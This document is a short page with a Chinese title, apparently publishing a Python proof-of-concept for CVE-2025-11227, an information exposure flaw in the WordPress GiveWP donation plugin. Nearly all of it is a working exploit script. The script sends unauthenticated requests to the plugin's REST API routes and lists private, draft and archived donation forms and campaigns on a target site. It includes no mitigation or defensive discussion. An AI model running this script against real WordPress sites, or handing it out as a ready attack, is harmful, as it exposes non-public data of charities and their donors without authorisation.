CVE-2025-11227：WordPress GiveWP插件信息泄露漏洞

# CVE-2025-11227 PoC - GiveWP Information Exposure # Exploits missing capability check in REST API routes import requests TARGET_URL = "http://target-wordpress-site.com" # Step 1: Enumerate all donation forms (including private and draft) def get_forms(target): """Retrieve all donation forms including private/draft ones""" url = f"{target}/wp-json/givewp/v3/forms/" headers = { "User-Agent": "Mozilla/5.0", "Accept": "application/json" } response = requests.get(url, headers=headers) if response.status_code == 200: forms = response.json() print(f"[+] Found {len(forms)} donation forms") for form in forms: print(f" - ID: {form.get('id')}, Title: {form.get('title')}, Status: {form.get('status')}") return forms return None # Step 2: Get specific form details def get_form_details(target, form_id): """Retrieve details of a specific donation form""" url = f"{target}/wp-json/givewp/v3/forms/{form_id}" response = requests.get(url) if response.status_code == 200: return response.json() return None # Step 3: Enumerate all campaigns (including archived) def get_campaigns(target): """Retrieve all campaigns including archived ones""" url = f"{target}/wp-json/givewp/v3/campaigns/" response = requests.get(url) if response.status_code == 200: campaigns = response.json() print(f"[+] Found {len(campaigns)} campaigns") for campaign in campaigns: print(f" - ID: {campaign.get('id')}, Title: {campaign.get('title')}, Status: {campaign.get('status')}") return campaigns return None # Step 4: Get specific campaign details def get_campaign_details(target, campaign_id): """Retrieve details of a specific campaign""" url = f"{target}/wp-json/givewp/v3/campaigns/{campaign_id}" response = requests.get(url) if response.status_code == 200: return response.json() return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") forms = get_forms(TARGET_URL) campaigns = get_campaigns(TARGET_URL)